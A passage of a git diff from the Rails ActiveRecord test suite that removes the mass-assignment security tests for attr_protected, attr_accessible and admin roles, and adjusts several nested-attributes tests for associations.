- @person = LoosePerson.create(attributes_hash)
- end
-end
-
-
-class MassAssignmentSecurityTest < ActiveRecord::TestCase
- include MassAssignmentTestHelpers
-
- def test_customized_primary_key_remains_protected
- subscriber = Subscriber.new(:nick => 'webster123', :name => 'nice try')
- assert_nil subscriber.id
-
- keyboard = Keyboard.new(:key_number => 9, :name => 'nice try')
- assert_nil keyboard.id
- end
-
- def test_customized_primary_key_remains_protected_when_referred_to_as_id
- subscriber = Subscriber.new(:id => 'webster123', :name => 'nice try')
- assert_nil subscriber.id
-
- keyboard = Keyboard.new(:id => 9, :name => 'nice try')
- assert_nil keyboard.id
- end
-
- def test_mass_assigning_invalid_attribute
- firm = Firm.new
-
- assert_raise(ActiveRecord::UnknownAttributeError) do
- firm.attributes = { "id" => 5, "type" => "Client", "i_dont_even_exist" => 20 }
- end
- end
-
- def test_mass_assigning_does_not_choke_on_nil
- assert_nil Firm.new.assign_attributes(nil)
- end
-
- def test_mass_assigning_does_not_choke_on_empty_hash
- assert_nil Firm.new.assign_attributes({})
- end
-
- def test_assign_attributes_uses_default_role_when_no_role_is_provided
- p = LoosePerson.new
- p.assign_attributes(attributes_hash)
-
- assert_default_attributes(p)
- end
-
- def test_assign_attributes_skips_mass_assignment_security_protection_when_without_protection_is_used
- p = LoosePerson.new
- p.assign_attributes(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_assign_attributes_with_default_role_and_attr_protected_attributes
- p = LoosePerson.new
- p.assign_attributes(attributes_hash, :as => :default)
-
- assert_default_attributes(p)
- end
-
- def test_assign_attributes_with_admin_role_and_attr_protected_attributes
- p = LoosePerson.new
- p.assign_attributes(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p)
- end
-
- def test_assign_attributes_with_default_role_and_attr_accessible_attributes
- p = TightPerson.new
- p.assign_attributes(attributes_hash, :as => :default)
-
- assert_default_attributes(p)
- end
-
- def test_assign_attributes_with_admin_role_and_attr_accessible_attributes
- p = TightPerson.new
- p.assign_attributes(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p)
- end
-
- def test_new_with_attr_accessible_attributes
- p = TightPerson.new(attributes_hash)
-
- assert_default_attributes(p)
- end
-
- def test_new_with_attr_protected_attributes
- p = LoosePerson.new(attributes_hash)
-
- assert_default_attributes(p)
- end
-
- def test_create_with_attr_accessible_attributes
- p = TightPerson.create(attributes_hash)
-
- assert_default_attributes(p, true)
- end
-
- def test_create_with_attr_protected_attributes
- p = LoosePerson.create(attributes_hash)
-
- assert_default_attributes(p, true)
- end
-
- def test_new_with_admin_role_with_attr_accessible_attributes
- p = TightPerson.new(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p)
- end
-
- def test_new_with_admin_role_with_attr_protected_attributes
- p = LoosePerson.new(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p)
- end
-
- def test_create_with_admin_role_with_attr_accessible_attributes
- p = TightPerson.create(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p, true)
- end
-
- def test_create_with_admin_role_with_attr_protected_attributes
- p = LoosePerson.create(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p, true)
- end
-
- def test_create_with_bang_with_admin_role_with_attr_accessible_attributes
- p = TightPerson.create!(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p, true)
- end
-
- def test_create_with_bang_with_admin_role_with_attr_protected_attributes
- p = LoosePerson.create!(attributes_hash, :as => :admin)
-
- assert_admin_attributes(p, true)
- end
-
- def test_new_with_without_protection_with_attr_accessible_attributes
- p = TightPerson.new(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_new_with_without_protection_with_attr_protected_attributes
- p = LoosePerson.new(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_create_with_without_protection_with_attr_accessible_attributes
- p = TightPerson.create(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_create_with_without_protection_with_attr_protected_attributes
- p = LoosePerson.create(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_create_with_bang_with_without_protection_with_attr_accessible_attributes
- p = TightPerson.create!(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_create_with_bang_with_without_protection_with_attr_protected_attributes
- p = LoosePerson.create!(attributes_hash, :without_protection => true)
-
- assert_all_attributes(p)
- end
-
- def test_protection_against_class_attribute_writers
- [:logger, :configurations, :primary_key_prefix_type, :table_name_prefix, :table_name_suffix, :pluralize_table_names,
- :default_timezone, :schema_format, :lock_optimistically, :timestamped_migrations, :default_scopes,
- :connection_handler, :nested_attributes_options, :_attr_readonly, :attribute_types_cached_by_default,
- :attribute_method_matchers, :time_zone_aware_attributes, :skip_time_zone_conversion_for_attributes].each do |method|
- assert_respond_to Task, method
- assert_respond_to Task, "#{method}="
- assert_respond_to Task.new, method
- assert !Task.new.respond_to?("#{method}=")
- end
- end
-
- test "ActiveRecord::Model.whitelist_attributes works for models which include Model" do
- begin
- prev, ActiveRecord::Model.whitelist_attributes = ActiveRecord::Model.whitelist_attributes, true
-
- klass = Class.new { include ActiveRecord::Model }
- assert_equal ActiveModel::MassAssignmentSecurity::WhiteList, klass.active_authorizers[:default].class
- assert_equal [], klass.active_authorizers[:default].to_a
- ensure
- ActiveRecord::Model.whitelist_attributes = prev
- end
- end
-
- test "ActiveRecord::Model.whitelist_attributes works for models which inherit Base" do
- begin
- prev, ActiveRecord::Model.whitelist_attributes = ActiveRecord::Model.whitelist_attributes, true
-
- klass = Class.new(ActiveRecord::Base)
- assert_equal ActiveModel::MassAssignmentSecurity::WhiteList, klass.active_authorizers[:default].class
- assert_equal [], klass.active_authorizers[:default].to_a
-
- klass.attr_accessible 'foo'
- assert_equal ['foo'], Class.new(klass).active_authorizers[:default].to_a
- ensure
- ActiveRecord::Model.whitelist_attributes = prev
- end
- end
-
- test "ActiveRecord::Model.mass_assignment_sanitizer works for models which include Model" do
- begin
- sanitizer = Object.new
- prev, ActiveRecord::Model.mass_assignment_sanitizer = ActiveRecord::Model.mass_assignment_sanitizer, sanitizer
-
- klass = Class.new { include ActiveRecord::Model }
- assert_equal sanitizer, klass._mass_assignment_sanitizer
-
- ActiveRecord::Model.mass_assignment_sanitizer = nil
- klass = Class.new { include ActiveRecord::Model }
- assert_not_nil klass._mass_assignment_sanitizer
- ensure
- ActiveRecord::Model.mass_assignment_sanitizer = prev
- end
- end
-
- test "ActiveRecord::Model.mass_assignment_sanitizer works for models which inherit Base" do
- begin
- sanitizer = Object.new
- prev, ActiveRecord::Model.mass_assignment_sanitizer = ActiveRecord::Model.mass_assignment_sanitizer, sanitizer
-
- klass = Class.new(ActiveRecord::Base)
- assert_equal sanitizer, klass._mass_assignment_sanitizer
-
- sanitizer2 = Object.new
- klass.mass_assignment_sanitizer = sanitizer2
- assert_equal sanitizer2, Class.new(klass)._mass_assignment_sanitizer
- ensure
- ActiveRecord::Model.mass_assignment_sanitizer = prev
- end
- end
-end
-
-
-# This class should be deleted when we remove activerecord-deprecated_finders as a
-# dependency.
-class MassAssignmentSecurityDeprecatedFindersTest < ActiveRecord::TestCase
- include MassAssignmentTestHelpers
-
- def setup
- super
- @deprecation_behavior = ActiveSupport::Deprecation.behavior
- ActiveSupport::Deprecation.behavior = :silence
- end
-
- def teardown
- ActiveSupport::Deprecation.behavior = @deprecation_behavior
- end
-
- def test_find_or_initialize_by_with_attr_accessible_attributes
- p = TightPerson.find_or_initialize_by_first_name('Josh', attributes_hash)
-
- assert_default_attributes(p)
- end
-
- def test_find_or_initialize_by_with_admin_role_with_attr_accessible_attributes
- p = TightPerson.find_or_initialize_by_first_name('Josh', attributes_hash, :as => :admin)
-
- assert_admin_attributes(p)
- end
-
- def test_find_or_initialize_by_with_attr_protected_attributes
- p = LoosePerson.find_or_initialize_by_first_name('Josh', attributes_hash)
-
- assert_default_attributes(p)
- end
-
- def test_find_or_initialize_by_with_admin_role_with_attr_protected_attributes
- p = LoosePerson.find_or_initialize_by_first_name('Josh', attributes_hash, :as => :admin)
-
- assert_admin_attributes(p)
- end
-
- def test_find_or_create_by_with_attr_accessible_attributes
- p = TightPerson.find_or_create_by_first_name('Josh', attributes_hash)
-
- assert_default_attributes(p, true)
- end
-
- def test_find_or_create_by_with_admin_role_with_attr_accessible_attributes
- p = TightPerson.find_or_create_by_first_name('Josh', attributes_hash, :as => :admin)
-
- assert_admin_attributes(p, true)
- end
-
- def test_find_or_create_by_with_attr_protected_attributes
- p = LoosePerson.find_or_create_by_first_name('Josh', attributes_hash)
-
- assert_default_attributes(p, true)
- end
-
- def test_find_or_create_by_with_admin_role_with_attr_protected_attributes
- p = LoosePerson.find_or_create_by_first_name('Josh', attributes_hash, :as => :admin)
-
- assert_admin_attributes(p, true)
- end
-
-end
-
-
-class MassAssignmentSecurityHasOneRelationsTest < ActiveRecord::TestCase
- include MassAssignmentTestHelpers
- include MassAssignmentRelationTestHelpers
-
- # build
-
- def test_has_one_build_with_attr_protected_attributes
- best_friend = @person.build_best_friend(attributes_hash)
- assert_default_attributes(best_friend)
- end
-
- def test_has_one_build_with_attr_accessible_attributes
- best_friend = @person.build_best_friend(attributes_hash)
- assert_default_attributes(best_friend)
- end
-
- def test_has_one_build_with_admin_role_with_attr_protected_attributes
- best_friend = @person.build_best_friend(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend)
- end
-
- def test_has_one_build_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.build_best_friend(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend)
- end
-
- def test_has_one_build_without_protection
- best_friend = @person.build_best_friend(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_has_one_build_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.build_best_friend(attributes_hash.except(:id, :comments))
- assert_equal @person.id, best_friend.best_friend_id
- end
- end
-
- # create
-
- def test_has_one_create_with_attr_protected_attributes
- best_friend = @person.create_best_friend(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_attr_accessible_attributes
- best_friend = @person.create_best_friend(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_admin_role_with_attr_protected_attributes
- best_friend = @person.create_best_friend(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.create_best_friend(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_one_create_without_protection
- best_friend = @person.create_best_friend(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_has_one_create_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.create_best_friend(attributes_hash.except(:id, :comments))
- assert_equal @person.id, best_friend.best_friend_id
- end
- end
-
- # create!
-
- def test_has_one_create_with_bang_with_attr_protected_attributes
- best_friend = @person.create_best_friend!(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_bang_with_attr_accessible_attributes
- best_friend = @person.create_best_friend!(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_bang_with_admin_role_with_attr_protected_attributes
- best_friend = @person.create_best_friend!(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_bang_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.create_best_friend!(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_one_create_with_bang_without_protection
- best_friend = @person.create_best_friend!(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_has_one_create_with_bang_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.create_best_friend!(attributes_hash.except(:id, :comments))
- assert_equal @person.id, best_friend.best_friend_id
- end
- end
-
-end
-
-
-class MassAssignmentSecurityBelongsToRelationsTest < ActiveRecord::TestCase
- include MassAssignmentTestHelpers
- include MassAssignmentRelationTestHelpers
-
- # build
-
- def test_belongs_to_build_with_attr_protected_attributes
- best_friend = @person.build_best_friend_of(attributes_hash)
- assert_default_attributes(best_friend)
- end
-
- def test_belongs_to_build_with_attr_accessible_attributes
- best_friend = @person.build_best_friend_of(attributes_hash)
- assert_default_attributes(best_friend)
- end
-
- def test_belongs_to_build_with_admin_role_with_attr_protected_attributes
- best_friend = @person.build_best_friend_of(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend)
- end
-
- def test_belongs_to_build_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.build_best_friend_of(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend)
- end
-
- def test_belongs_to_build_without_protection
- best_friend = @person.build_best_friend_of(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- # create
-
- def test_belongs_to_create_with_attr_protected_attributes
- best_friend = @person.create_best_friend_of(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_attr_accessible_attributes
- best_friend = @person.create_best_friend_of(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_admin_role_with_attr_protected_attributes
- best_friend = @person.create_best_friend_of(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.create_best_friend_of(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_without_protection
- best_friend = @person.create_best_friend_of(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_belongs_to_create_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.create_best_friend_of(attributes_hash.except(:id, :comments))
- assert_equal best_friend.id, @person.best_friend_of_id
- end
- end
-
- # create!
-
- def test_belongs_to_create_with_bang_with_attr_protected_attributes
- best_friend = @person.create_best_friend!(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_bang_with_attr_accessible_attributes
- best_friend = @person.create_best_friend!(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_bang_with_admin_role_with_attr_protected_attributes
- best_friend = @person.create_best_friend!(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_bang_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.create_best_friend!(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_belongs_to_create_with_bang_without_protection
- best_friend = @person.create_best_friend!(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_belongs_to_create_with_bang_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.create_best_friend_of!(attributes_hash.except(:id, :comments))
- assert_equal best_friend.id, @person.best_friend_of_id
- end
- end
-
-end
-
-
-class MassAssignmentSecurityHasManyRelationsTest < ActiveRecord::TestCase
- include MassAssignmentTestHelpers
- include MassAssignmentRelationTestHelpers
-
- # build
-
- def test_has_many_build_with_attr_protected_attributes
- best_friend = @person.best_friends.build(attributes_hash)
- assert_default_attributes(best_friend)
- end
-
- def test_has_many_build_with_attr_accessible_attributes
- best_friend = @person.best_friends.build(attributes_hash)
- assert_default_attributes(best_friend)
- end
-
- def test_has_many_build_with_admin_role_with_attr_protected_attributes
- best_friend = @person.best_friends.build(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend)
- end
-
- def test_has_many_build_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.best_friends.build(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend)
- end
-
- def test_has_many_build_without_protection
- best_friend = @person.best_friends.build(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_has_many_build_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.best_friends.build(attributes_hash.except(:id, :comments))
- assert_equal @person.id, best_friend.best_friend_id
- end
- end
-
- # create
-
- def test_has_many_create_with_attr_protected_attributes
- best_friend = @person.best_friends.create(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_attr_accessible_attributes
- best_friend = @person.best_friends.create(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_admin_role_with_attr_protected_attributes
- best_friend = @person.best_friends.create(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.best_friends.create(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_many_create_without_protection
- best_friend = @person.best_friends.create(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_has_many_create_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.best_friends.create(attributes_hash.except(:id, :comments))
- assert_equal @person.id, best_friend.best_friend_id
- end
- end
-
- # create!
-
- def test_has_many_create_with_bang_with_attr_protected_attributes
- best_friend = @person.best_friends.create!(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_bang_with_attr_accessible_attributes
- best_friend = @person.best_friends.create!(attributes_hash)
- assert_default_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_bang_with_admin_role_with_attr_protected_attributes
- best_friend = @person.best_friends.create!(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_bang_with_admin_role_with_attr_accessible_attributes
- best_friend = @person.best_friends.create!(attributes_hash, :as => :admin)
- assert_admin_attributes(best_friend, true)
- end
-
- def test_has_many_create_with_bang_without_protection
- best_friend = @person.best_friends.create!(attributes_hash, :without_protection => true)
- assert_all_attributes(best_friend)
- end
-
- def test_has_many_create_with_bang_with_strict_sanitizer
- with_strict_sanitizer do
- best_friend = @person.best_friends.create!(attributes_hash.except(:id, :comments))
- assert_equal @person.id, best_friend.best_friend_id
- end
- end
-
-end
-
-
-class MassAssignmentSecurityNestedAttributesTest < ActiveRecord::TestCase
- include MassAssignmentTestHelpers
-
- def nested_attributes_hash(association, collection = false, except = [:id])
- if collection
- { :first_name => 'David' }.merge(:"#{association}_attributes" => [attributes_hash.except(*except)])
- else
- { :first_name => 'David' }.merge(:"#{association}_attributes" => attributes_hash.except(*except))
- end
- end
-
- # build
-
- def test_has_one_new_with_attr_protected_attributes
- person = LoosePerson.new(nested_attributes_hash(:best_friend))
- assert_default_attributes(person.best_friend)
- end
-
- def test_has_one_new_with_attr_accessible_attributes
- person = TightPerson.new(nested_attributes_hash(:best_friend))
- assert_default_attributes(person.best_friend)
- end
-
- def test_has_one_new_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.new(nested_attributes_hash(:best_friend), :as => :admin)
- assert_admin_attributes(person.best_friend)
- end
-
- def test_has_one_new_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.new(nested_attributes_hash(:best_friend), :as => :admin)
- assert_admin_attributes(person.best_friend)
- end
-
- def test_has_one_new_without_protection
- person = LoosePerson.new(nested_attributes_hash(:best_friend, false, nil), :without_protection => true)
- assert_all_attributes(person.best_friend)
- end
-
- def test_belongs_to_new_with_attr_protected_attributes
- person = LoosePerson.new(nested_attributes_hash(:best_friend_of))
- assert_default_attributes(person.best_friend_of)
- end
-
- def test_belongs_to_new_with_attr_accessible_attributes
- person = TightPerson.new(nested_attributes_hash(:best_friend_of))
- assert_default_attributes(person.best_friend_of)
- end
-
- def test_belongs_to_new_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.new(nested_attributes_hash(:best_friend_of), :as => :admin)
- assert_admin_attributes(person.best_friend_of)
- end
-
- def test_belongs_to_new_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.new(nested_attributes_hash(:best_friend_of), :as => :admin)
- assert_admin_attributes(person.best_friend_of)
- end
-
- def test_belongs_to_new_without_protection
- person = LoosePerson.new(nested_attributes_hash(:best_friend_of, false, nil), :without_protection => true)
- assert_all_attributes(person.best_friend_of)
- end
-
- def test_has_many_new_with_attr_protected_attributes
- person = LoosePerson.new(nested_attributes_hash(:best_friends, true))
- assert_default_attributes(person.best_friends.first)
- end
-
- def test_has_many_new_with_attr_accessible_attributes
- person = TightPerson.new(nested_attributes_hash(:best_friends, true))
- assert_default_attributes(person.best_friends.first)
- end
-
- def test_has_many_new_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.new(nested_attributes_hash(:best_friends, true), :as => :admin)
- assert_admin_attributes(person.best_friends.first)
- end
-
- def test_has_many_new_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.new(nested_attributes_hash(:best_friends, true), :as => :admin)
- assert_admin_attributes(person.best_friends.first)
- end
-
- def test_has_many_new_without_protection
- person = LoosePerson.new(nested_attributes_hash(:best_friends, true, nil), :without_protection => true)
- assert_all_attributes(person.best_friends.first)
- end
-
- # create
-
- def test_has_one_create_with_attr_protected_attributes
- person = LoosePerson.create(nested_attributes_hash(:best_friend))
- assert_default_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_attr_accessible_attributes
- person = TightPerson.create(nested_attributes_hash(:best_friend))
- assert_default_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.create(nested_attributes_hash(:best_friend), :as => :admin)
- assert_admin_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.create(nested_attributes_hash(:best_friend), :as => :admin)
- assert_admin_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_without_protection
- person = LoosePerson.create(nested_attributes_hash(:best_friend, false, nil), :without_protection => true)
- assert_all_attributes(person.best_friend)
- end
-
- def test_belongs_to_create_with_attr_protected_attributes
- person = LoosePerson.create(nested_attributes_hash(:best_friend_of))
- assert_default_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_attr_accessible_attributes
- person = TightPerson.create(nested_attributes_hash(:best_friend_of))
- assert_default_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.create(nested_attributes_hash(:best_friend_of), :as => :admin)
- assert_admin_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.create(nested_attributes_hash(:best_friend_of), :as => :admin)
- assert_admin_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_without_protection
- person = LoosePerson.create(nested_attributes_hash(:best_friend_of, false, nil), :without_protection => true)
- assert_all_attributes(person.best_friend_of)
- end
-
- def test_has_many_create_with_attr_protected_attributes
- person = LoosePerson.create(nested_attributes_hash(:best_friends, true))
- assert_default_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_attr_accessible_attributes
- person = TightPerson.create(nested_attributes_hash(:best_friends, true))
- assert_default_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.create(nested_attributes_hash(:best_friends, true), :as => :admin)
- assert_admin_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.create(nested_attributes_hash(:best_friends, true), :as => :admin)
- assert_admin_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_without_protection
- person = LoosePerson.create(nested_attributes_hash(:best_friends, true, nil), :without_protection => true)
- assert_all_attributes(person.best_friends.first)
- end
-
- # create!
-
- def test_has_one_create_with_bang_with_attr_protected_attributes
- person = LoosePerson.create!(nested_attributes_hash(:best_friend))
- assert_default_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_bang_with_attr_accessible_attributes
- person = TightPerson.create!(nested_attributes_hash(:best_friend))
- assert_default_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_bang_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.create!(nested_attributes_hash(:best_friend), :as => :admin)
- assert_admin_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_bang_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.create!(nested_attributes_hash(:best_friend), :as => :admin)
- assert_admin_attributes(person.best_friend, true)
- end
-
- def test_has_one_create_with_bang_without_protection
- person = LoosePerson.create!(nested_attributes_hash(:best_friend, false, nil), :without_protection => true)
- assert_all_attributes(person.best_friend)
- end
-
- def test_belongs_to_create_with_bang_with_attr_protected_attributes
- person = LoosePerson.create!(nested_attributes_hash(:best_friend_of))
- assert_default_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_bang_with_attr_accessible_attributes
- person = TightPerson.create!(nested_attributes_hash(:best_friend_of))
- assert_default_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_bang_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.create!(nested_attributes_hash(:best_friend_of), :as => :admin)
- assert_admin_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_bang_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.create!(nested_attributes_hash(:best_friend_of), :as => :admin)
- assert_admin_attributes(person.best_friend_of, true)
- end
-
- def test_belongs_to_create_with_bang_without_protection
- person = LoosePerson.create!(nested_attributes_hash(:best_friend_of, false, nil), :without_protection => true)
- assert_all_attributes(person.best_friend_of)
- end
-
- def test_has_many_create_with_bang_with_attr_protected_attributes
- person = LoosePerson.create!(nested_attributes_hash(:best_friends, true))
- assert_default_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_bang_with_attr_accessible_attributes
- person = TightPerson.create!(nested_attributes_hash(:best_friends, true))
- assert_default_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_bang_with_admin_role_with_attr_protected_attributes
- person = LoosePerson.create!(nested_attributes_hash(:best_friends, true), :as => :admin)
- assert_admin_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_bang_with_admin_role_with_attr_accessible_attributes
- person = TightPerson.create!(nested_attributes_hash(:best_friends, true), :as => :admin)
- assert_admin_attributes(person.best_friends.first, true)
- end
-
- def test_has_many_create_with_bang_without_protection
- person = LoosePerson.create!(nested_attributes_hash(:best_friends, true, nil), :without_protection => true)
- assert_all_attributes(person.best_friends.first)
- end
-
- def test_mass_assignment_options_are_reset_after_exception
- person = NestedPerson.create!({ :first_name => 'David', :gender => 'm' }, :as => :admin)
- person.create_best_friend!({ :first_name => 'Jeremy', :gender => 'm' }, :as => :admin)
-
- attributes = { :best_friend_attributes => { :comments => 'rides a sweet bike' } }
- assert_raises(RuntimeError) { person.assign_attributes(attributes, :as => :admin) }
- assert_equal 'm', person.best_friend.gender
-
- person.best_friend_attributes = { :gender => 'f' }
- assert_equal 'm', person.best_friend.gender
- end
-
- def test_mass_assignment_options_are_nested_correctly
- person = NestedPerson.create!({ :first_name => 'David', :gender => 'm' }, :as => :admin)
- person.create_best_friend!({ :first_name => 'Jeremy', :gender => 'm' }, :as => :admin)
-
- attributes = { :best_friend_first_name => 'Josh', :best_friend_attributes => { :gender => 'f' } }
- person.assign_attributes(attributes, :as => :admin)
- assert_equal 'Josh', person.best_friend.first_name
- assert_equal 'f', person.best_friend.gender
- end
-
-end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 3a234f0cc1..9120083eca 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -463,6 +463,22 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
end
end
+ def test_should_unset_association_when_an_existing_record_is_destroyed
+ @ship.reload
+ original_pirate_id = @ship.pirate.id
+ @ship.attributes = {:pirate_attributes => {:id => @ship.pirate.id, :_destroy => true}}
+ @ship.save!
+
+ assert_empty Pirate.where(["id = ?", original_pirate_id])
+ assert_nil @ship.pirate_id
+ assert_nil @ship.pirate
+
+ @ship.reload
+ assert_empty Pirate.where(["id = ?", original_pirate_id])
+ assert_nil @ship.pirate_id
+ assert_nil @ship.pirate
+ end
+
def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
[nil, '0', 0, 'false', false].each do |not_truth|
@ship.update_attributes(:pirate_attributes => { :id => @ship.pirate.id, :_destroy => not_truth })
@@ -771,9 +787,9 @@ module NestedAttributesOnACollectionAssociationTests
assert !man.errors[:"interests.man"].empty?
end
end
- # restore :inverse_of
+ ensure
Man.reflect_on_association(:interests).options[:inverse_of] = :man
- Interest.reflect_on_association(:man).options[:inverse_of] = :interests
+ Interest.reflect_on_association(:man).options[:inverse_of] = :interests
end
def test_can_use_symbols_as_object_identifier
@@ -783,12 +799,14 @@ module NestedAttributesOnACollectionAssociationTests
def test_numeric_colum_changes_from_zero_to_no_empty_string
Man.accepts_nested_attributes_for(:interests)
- Interest.validates_numericality_of(:zine_id)
- man = Man.create(:name => 'John')
- interest = man.interests.create(:topic=>'bar',:zine_id => 0)
- assert interest.save
- assert !man.update_attributes({:interests_attributes => { :id => interest.id, :zine_id => 'foo' }})
+ repair_validations(Interest) do
+ Interest.validates_numericality_of(:zine_id)
+ man = Man.create(name: 'John')
+ interest = man.interests.create(topic: 'bar', zine_id: 0)
+ assert interest.save
+ assert !man.update_attributes({interests_attributes: { id: interest.id, zine_id: 'foo' }})
+ end
end
private
@@ -846,13 +864,7 @@ class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::Test
include NestedAttributesOnACollectionAssociationTests
end
-class TestNestedAttributesLimit < ActiveRecord::TestCase
- def setup
- Pirate.accepts_nested_attributes_for :parrots, :limit => 2
-
- @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
- end
-
+module NestedAttributesLimitTests
def teardown
Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
end
